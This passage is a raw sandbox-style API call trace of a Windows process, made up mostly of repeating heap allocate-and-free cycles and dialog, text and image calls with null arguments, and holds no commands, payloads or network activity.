dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.729] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.729] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.730] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.730] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.730] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.730] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.730] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.730] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.730] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.730] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.731] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.731] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.731] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.731] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.731] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.731] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.731] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.731] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.731] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.731] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.731] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.732] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.732] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.732] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.732] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193424343, cy=27, fuLoad=0x0) returned 0x0 [0026.732] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.732] GetLastError () returned 0x715 [0026.732] SetLastError (dwErrCode=0x715) [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.732] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.732] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.732] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.732] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.732] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.733] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.733] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.733] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.733] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.733] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.733] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.733] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.734] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.734] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.734] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.734] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.734] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.734] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.734] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.734] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.735] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.735] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.735] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.735] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.735] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.735] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.735] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.735] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.735] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193405398, cy=27, fuLoad=0x0) returned 0x0 [0026.735] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.735] GetLastError () returned 0x715 [0026.735] SetLastError (dwErrCode=0x715) [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.735] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.735] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.736] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.736] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: 